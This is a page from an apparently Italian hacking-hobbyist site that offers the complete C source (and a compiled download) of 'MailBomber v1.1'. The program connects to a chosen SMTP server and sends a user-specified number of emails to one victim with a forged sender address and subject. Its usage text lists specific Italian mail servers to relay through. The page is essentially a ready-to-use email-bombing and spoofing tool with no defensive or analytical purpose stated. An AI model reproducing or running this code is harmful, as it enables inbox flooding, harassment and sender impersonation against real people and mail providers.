.:HoMe:.     .:CrackMe:.     .:My ProGGie:.     .:BuGs & ExpLoiTs:.     .:TOoLs:.     .:VaRiE:.
 
File compilato + sorgente qui: Mailbomber.zip
 
/*********************************************************************************\
*									          *
* MailBomber v1.1								  *
* By NoRpiUs									  *
* UNIX & WIN VERSION 								  *
*										  *
* Si puo' scegliere l'indirizzo di provenienza e l'oggetto della mail.            *
* Usando il programma ho notato che se volete mandare delle email dovete usare    *
* un smtp specifico. Per esempio se volete mandare una mail a uno che ha @tin.it  *
* dovete usare come smtp mail.tin.it, se volete mandare una mail a uno che ha     *
* @katamail.com dovete usare smtp.katamail.com e cosi via... dipende solo         *
* dal smtp scelto :)							          *
*									          *
\*********************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN32
	#include <winsock.h>
	#define  close closesocket
#else
	#include <unistd.h>
	#include <sys/socket.h>
	#include <sys/types.h>
	#include <arpa/inet.h>
	#include <netdb.h>
#endif

#define MSG          "From: \"%s\" <"
#define OK1          "220"    
#define OK2          "250"    
#define OK3          "354"    
#define OK4          "221"    
#define HELO         "HELO x\r\n"
#define DATA         "DATA\r\n"
#define CLOSEDATA    ">\r\n\r\n.\r\n\0"
#define QUIT         "QUIT\r\n"

unsigned char tmpbuff[3000],  buff[3000];
int sock, err, i;

void errore ( char *error )
{
	printf("%s",error);
	exit(1);
}

void smtp_send(unsigned char *buff, unsigned char *ok) 
{
    if ( send(sock, buff, strlen(buff), 0) < 0) 
    	errore("Spedizione fallita");

    if ( recv(sock, tmpbuff, sizeof(tmpbuff), 0) < 0) 
	errore("Ricezione fallita");

    if ( !strstr(tmpbuff, ok)) 
    {
        printf("\t[-] Errore: %s\n", tmpbuff);
        exit(1);
    }
}

void uso ( char *exe )
{
   printf("Uso: %s <from> <to> <numero di email> <smtp> <oggetto mail>\n\n", exe);
   fputs("Smtp:\n"
	      "Katamail: smtp.katamail.com\n"
	      "Psycholand: mail.psycholand.org\n"
	      "Tin: mail.tin.it\n"
	      "Popmail: popmail.email.it\n"
	      "Libero: mail.libero.it\n", stdout);
   exit(1);
}


int main(int argc, char *argv[]) 
{

    struct sockaddr_in peer;
    struct hostent *he;

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(2,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n\tMailBomber v1.1 By NoRpiUs\n"
	  "\tMail: norpius@altervista.org\n"
	  "\tWeb: http://www.norpius.tk\n\n", stdout);

    if(argc < 6) uso(argv[0]);

    if ( (he = gethostbyname(argv[4])) == NULL )
    	 errore("\t[-] Impossibile risolvere l'host\n");

    peer.sin_addr        = *(( struct in_addr *) he -> h_addr );
    peer.sin_port        = htons(IPPORT_SMTP);
    peer.sin_family      = AF_INET;

    err = snprintf(buff, sizeof(MSG), MSG, argv[5]);
    memcpy(buff + err, CLOSEDATA, sizeof(CLOSEDATA));  

    for ( i = 0; i < atoi(argv[3]); i++) 
    {
       printf("\t[+] Mail numero: %d\n",i+1);

       if ( (sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP )) < 0 )
	        errore("\t[-] Impossibile creare socket\n");

       if ( connect(sock, (struct sockaddr *) &peer, sizeof(peer)) < 0 )
	        errore("\t[-] Connessione fallita\n");

       smtp_send("", OK1);

       smtp_send(HELO, OK2);

       sprintf(tmpbuff, "MAIL FROM: <%s>\r\n", argv[1]);

       smtp_send(tmpbuff, OK2);

       sprintf(tmpbuff, "RCPT TO: <%s>\r\n", argv[2]);

       smtp_send(tmpbuff, OK2);

       smtp_send(DATA, OK3);

       smtp_send(buff, OK2);

       smtp_send(QUIT, OK4);

       close(sock);

       sleep(500);
    }

  return(0);
}




		
Sito ottimizzato per:
Browser: I.E.
Risoluzione: 1024 x 768
.:ReVeRsiNg:.     .:CoNTaCt Me:.     .:LiNks:.     .:ThaNksTo:.     .:FuCkTo:.